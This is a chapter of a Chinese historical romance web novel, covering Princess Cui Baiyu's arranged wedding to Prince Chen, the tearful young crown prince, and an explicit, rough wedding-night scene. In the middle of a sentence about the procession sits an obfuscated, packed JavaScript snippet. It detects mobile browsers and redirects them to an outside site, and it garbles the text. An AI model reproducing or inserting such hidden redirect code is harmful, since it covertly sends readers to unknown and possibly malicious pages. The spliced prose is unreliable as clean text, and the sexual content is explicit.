房间里的空气愈发沉重,落一根针亦有回声。 崔白玉手里的茶杯不轻不重的放在桌上,面无表情地打量着侯夫人。 “郡主若是执迷不悟,我只能将此事说与圣上。”徐氏乃是受封的一品诰命夫人,说出来的话当然要比旁人多出些分量。 崔白玉却冷然一笑,毫不在意地说:“少拿贞节牌坊压我,诰命算个什么东西,我既然能爬上这个位置,靠得可不是贤良淑德。” 这会儿,她也想明白了,方叙言行事谨慎,在消息没有确认的情况下,断不会把事情讲出来。 至于侯夫人是如何知道的,估计又是那个躲在角落阴暗爬行的花枕搅事。 侯夫人闻言,两眼冒金星,差点一口气没喘上来。 “玉佩的事你亲自去问,别来我这找麻烦。”说完,崔白玉就起身离开,没有半点迟疑。 哪曾想,门口正站着一个人,愣愣地望着她,眼里尽是委屈。 赵辛泣不成声,攥着衣角的手指关节发白,上前抱住了她。 站多久了?她们说的话都听到了?赵丞欺负他了?这些问题在脑海重一闪而过,崔白玉眼皮微微一沉,心里隐隐已有预感,他应该是都听到了。 她又回想了一下,方才应该没说什么过分的话,就算说了小孩子也应该听不懂。 她揉了揉赵辛毛茸茸的脑袋,笑弯了眼睛,轻声问道:“你怎么跑这来了?” 这一情形与方才判若两人,赵辛没说话,抱着人狠狠地抹了一把眼泪,旋即就头也不回的跑开了。 46. 洞房 丈夫尸骨未寒,许氏等了一个月再也坐不住了,“桃酥姑娘,我想见郡主。” 别说她想见了,桃酥也想啊,圣旨下来一个多月,眼看明日就要成婚了,结果她们谁也没见着崔白玉的身影。 这不是要了老命了? 这桩婚事可是天家恩典,明黄绸缎上上面写得清清楚楚,将长乐郡主许配宸王为正妃。 还是正妃! 桃酥跟着崔白玉经过了几场大风大浪,以为自己改头换面,不在之前那个毛毛躁躁的小姑娘,可现在没了主心骨,还是成了热锅上的蚂蚁急得团团转。 尤其是听闻王府前院三百盏红灯笼高高挂起,还有八抬金丝鸾轿和铺就十里的红绸,引得路旁百姓纷纷侧目惊叹,她就更加焦急了。 “郡主再不回来,这婚服不合适就改不了!” 梅奕愣了一下,带着些指责的意味,“我以为你是在担心郡主的安危。” “这场婚事还有转圜的余地吗?”桃酥整整看了一天聘礼清单,庞大的财产让她自然而然忽视了这个问题,理直气壮地说,“作为女子,聘礼到位比什么都重要!” 也不知道宸王哪根筋搭错了,居然出手这么阔绰,要知道,在大梁,聘礼是女方财产且受法律保护,既然是聘礼,那就都是郡主的! 梅奕觉得她是见钱眼开,怕是再过不久,就该成为宸王的走狗了。 桃酥不以为意,在屋里踱步,嘴里念念有词,“郡主要是再不回来,这煮熟的鸭子就飞了!” 近朱者赤近墨者黑,主子就不是个感情细腻型,她又能好到哪去? 可话又说回来,天上哪有掉馅饼的事,宸王好端端的娶她做什么? 想到这,桃酥灵光乍现,停下脚步,小手一拍,“我就知道,崔九这狗东西当侍卫的时候就觊觎咱们姑娘了!” 他铁定是喜欢郡主! 赵辛低着头,恨不得深深埋进衣领里,一直没有说话。 真心与否,谁会在乎?嫁给谁无关紧要,有钱就行。 可真是这样吗?丈夫是相伴一生的人,将来生儿育女,风雨同舟,谁不想嫁给一个心仪之人,幸福美满的过完一生? 崔白玉走到这一步,都是因为他........ 桃酥察觉到赵辛这几日情绪异常低落,走到他面前,问道:“殿下怎么了?” 赵辛心中一阵惶恐,眼神带着一抹难以言说的苦涩,小声问道:“姐姐不想嫁给宸王吧?” 桃酥想了想,“不会,她之前就把注意打到宸王身上,毕竟他手里有兵权,已经是个不错的选择了。” 崔白玉的婚事无论如何都逃不掉的。 就算她不做选择,太后也会逼她,她们只是没想到皇帝会插手此事,还混了一个正妃的名头。 “姐姐难道不是想嫁给小侯爷?”赵辛满心委屈哽住了喉咙,泪水在眼眶里打转,努力不让眼泪落下,“可我那日听见,侯夫人亲自找的姐姐,说不会允了这门婚事。” 她们嫌弃姐姐名声差。 “可崔姐姐因为我不能嫁给自己喜欢的人,更不能有个称心的婚事..........” 桃酥才知道这位太子殿下还是一个多愁善感的,“小殿下放心吧,郡主不会让自己受委屈的,在她眼里,方小侯爷和茨州刺史没什么不同,她知道小侯爷的心意所以谈的是感情,而刺史那边谈的便是利益。” 赵辛愣了一下,“那宸王呢?” 桃酥心头微微一颤,舌头打了一个结,语重心长道:“她.........喜欢殿下。” 梅奕道:“你摸着良心说。” 哄小孩子呢,你添什么乱?桃酥朝着梅奕翻了一个白眼,轻声安慰道:“太子殿下不要多想了,郡主无论做什么都会有自己的考量,她一定会保护好殿下的。” 窗外天光渐暗,两人正说着话,门口有个侍卫来报:“太子殿下,文渊阁大学士崔琅华求见,说有要事相商。” 赵辛问道:“他是姐姐的兄长罢?” 桃酥眼眸微微一亮,复又暗淡下去,心里多了几分警惕,“还是不要见了罢,就说太子殿下病了。” 赵辛道:“可........万一是崔姐姐的婚事呢?”万一他能帮上忙。 崔琅华作为长兄对崔白玉极尽宠溺,有求必应,想来不会做出太过分的事,可这个时间点,崔白玉也不在东宫啊,桃酥还在犹疑,隐隐感觉到一丝难以言喻的……不安。 侍卫道:“崔学士是伪装身份过来的。” 长兄如父,出嫁前确实得见一面。 此时,崔琅华身着朴实无华的青衣,腰间一条墨色水纹腰带,负手立在廊下,听见远处的脚步声,嘴角微微上扬,眼神中透露出一丝狡黠。 赵辛小心翼翼地打量着人,莫名觉得对方浑身都透着诡异。 而崔琅华好似才听见动静转过身,恭敬地行了一礼,“太子殿下,方便我们单独说几句话吗?微臣有办法救郡主于水火之中。” 到了掌灯时分。 崔白玉风尘仆仆地赶回来,桃酥正抱着一盒首饰在院中一下子站住了脚,激动道:“我滴祖宗啊,你可算回来了!” 耽误这么长时间,真是唯恐天下不乱啊! “不是明日才成婚?”崔白玉脱下披风,随手扔给旁边的侍卫,“发生了什么事?” 桃酥眉眼间尽是焦虑之色,道:“郡主要不先去试试婚服?一会儿天亮王府就该派人来接了。” 那狗东西居然敢强取豪夺,崔白玉唔了一声,望着虚空,才发现自己根本没有整理好心态面对赵丞。 不过是对怨偶,婚服有什么可试的。 “沐浴更衣。”她要睡觉了! 桃酥眨巴了一下眼睛,“那嫁妆呢?” 崔白玉摸了摸下巴,忽然想起一件事,“那几家的份子钱给了吗?” 尤其是那个掌管江南漕运富得流油的徐净空。 桃酥走到她身边低声道:“给了,是绥州东近山的一座庄园,土地面积三千一百亩。” 饶是见过大场面的崔白玉也险些惊掉了下巴,过了好一会儿又倒吸一口凉气,“绥州东近山的园子?” 桃酥激动了三天三夜,现在已然神情平淡,点了点头,用手比划了一个九字。 崔白玉赶快进屋喝了口茶平复心情,然后就看见赵辛如受惊小鹿般迅速移开。 她歪头瞧了一会儿,忍不住笑道:“怎么回事?眼眶又红了,谁欺负你了?” 好端端的小公子,怎么就被她养成了一个小哭包,他兄长也不是这样的啊。 赵辛摇了摇头,紧紧抿着唇没有说话。 崔白玉笑眼弯弯,带过去一个蒲团坐在旁边,挨着他,哄道:“又要掉小珍珠了,不过是成个婚,不会不要你的。” 赵辛觉得心尖滚烫,吸了吸鼻子,手指紧紧攥着衣角,“我没哭。” 崔白玉安慰道:“没关系,男孩子爱哭也没什么大不了的,我让桃酥和梅奕都留这照顾你好不好?” 都到这个时候看,还要顾及他,赵辛不敢抬头看崔白玉,只是一味的吧嗒吧嗒掉小珍珠,“.........不用了,我能照顾好自己,姐姐还是带去王府吧。” 肩膀一耸一耸地,崔白玉眸光微微闪烁,却不厚道的笑出了声:“那我把小白带走,桃酥留给你?” 赵辛道:“我不想拖累姐姐了。” 原来小孩子还能这么可爱,崔白玉连忙把他扶起来抱了抱,“怎么会是拖累呢?大家过得都很好,姐姐没有把你照顾好吗?” 翌日,晨光透过窗棂的竹篾缝隙,吉时将至,晨钟暮鼓齐鸣。 迎亲队伍浩浩荡荡出发,而仪仗最前方,便是由严阵以待的玄铁军开路,战马四蹄生风,幡面在风中猎猎作响,吸引了众多百姓的围观和艳羡。 虽说都不看好这门婚事,但还是要看个热闹,此时,朝廷文武百官有一半都来王府参加婚宴,众人对这场婚事都翘首以盼,对新娘子更是期待。 太后和宸王明争暗斗,这事人尽皆知,而长乐郡主作为太后的鹰犬嫁入王府,这不就是过来受折磨的? 更何况,这人还挡了他的储君之位! 以后啊,怕是没有好日子过喽。 众人心里一阵感慨,不免联想到日后,骄奢淫逸的长乐郡主在王府受苦受难的场景,再次踮起脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466864|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望着道路尽头。 崔白玉天不亮就被叫起来梳妆,加之昨晚因为成婚有些紧张,辗转反侧,此时困意翻涌,能站稳已经很不错了。 嫣红的盖巾掩去了眸光氤氲着未褪的朦胧。 九凤朝阳的霞帔下,裙裾扫过青砖,迈出的每一步,都有玉牌与银铃便叮咚相和。 “新人落轿——” 伴随着太监尖利的嗓音刺破喧闹。 鸾轿落地,崔白玉张哈之际,瞧见一双骨节分明的大手伸进来。 凤冠霞帔,繁复的礼服和首饰压在她身上确实不得劲,再加之这衣服不合身,胸口勒得她喘不过气来。 也不知道是个哪个缺心眼上报的尺寸,想勒死她吗? 权衡之下,崔白玉没有打掉那只手,反而搭上去了。 赵丞听见盖巾下的人啧了一声,把手握得更紧,一刻都没有松开。 司礼官提唱起跪叩首,礼成之后,喜宴开席。 接下来便是闹洞房的环节,可他们哪有胆子和不苟言笑的宸王殿下开玩笑,这般想着,二话不说就去前院喝酒了。 华堂之上热闹非凡。 崔白玉由赵丞牵着来到婚房。 红烛摇曳间,她听见门扉一动,就抬手摘了盖巾,转身打量着眼前人,“你不去前院?” 大抵是第一次看见他穿红色的衣服,一时间竟然有些移不开眼,烛火下的美人面若桃花,真是说不出的赏心悦目。 赵丞垂着眼,睫毛颤了又颤,半晌说了两个字,“不去。” 不知是不是她的错觉,这人看着怎么越来越顺眼了,崔白玉收回目光,赶紧给自己找一个椅子坐下,斟下一杯酒解渴。 赵丞喉结上下滚动了一下,再抬头,发现崔白玉正一手捏着酒盏轻轻摇晃,另一只手托住下巴,双目含情地望着他。 崔白玉好似一副悠闲淡定的模样,缓缓开口道:“殿下帮我把衣服脱了?” 赵丞不信,只是一遍遍打量她的嘴唇。 崔白玉道:“实在是累得慌,喘不过气了。” 赵丞走到她身后,卸下凤冠,之后又帮她脱下繁复的喜服,发现她的胸口勒出了两道红痕,才知晓她说的不是假话。 “下人准备晚膳了。” “这么看着我,你想的是吃晚膳吗?”崔白玉眼梢带着好些风流意,拽着赵丞的领子往下一扯,仰头吻了上去。 一瞬间,赵丞眼中的暗色彻底汹涌,充满了野性,像一条不驯又偏执的狼,一触即离的亲吻还没来得及移开,崔白玉腰间忽然传来一阵极大的力道,唇瓣又撞了回去。 赵丞手狠狠捏起她的下巴,吻得极其凶狠浓烈,唇舌间带着腥味,恨不能拆骨入腹。 崔白玉的心脏一刹那剧烈跳了起来,还没反应过来,就被压在了床上,两只手腕也被按着。 墨发在枕席上散开,赵丞覆上她的身体,见她用脚把那一迭雪白的绢布踢开,也没说什么。 这种事一回生二回熟,第一次,赵丞不知道什么是前奏什么是节制,第二次也该明白了。 可崔白玉还是疼,死死拽着身下的床单,颈间全是湿滑的汗,埋在赵丞的肩头喘息,被逼狠了便开始挠人。 赵丞心里陡然疼了一下,搂着她的手不自觉收紧,而身上流畅的肌肉线条无一不昭示着他的攻击性和压迫感。 过了好一会儿,窸窸窣窣之间,崔白玉见他抬手到床头的抽屉匣去摸,喘息着问了一句:“什么?” 赵丞喘息声渐重,琥珀色的眸子浓烈翻滚的欲色,咬着她的唇说:“涂油.......” 涂什么油!崔白玉咬死他的心都有了,“分明是你太大!” 赵丞眸色深了深,心跳在怦怦作响,把手贴到崔白玉发烫的脸上,低头轻轻吻了几下,下一刻近乎野蛮地顶了进去。 崔白玉气息一窒,眼泪不受控制地溢出。 屋内红纱翻滚,不知过了多久,夜静下来,黑漆漆一片。 崔白玉感觉自己死里逃生,好歹是活下来了,舔了舔唇,说:“饿了。” 那张脸近在咫尺,赵丞将人困在手臂之间,安静地盯着她看了半天,“我去叫人。”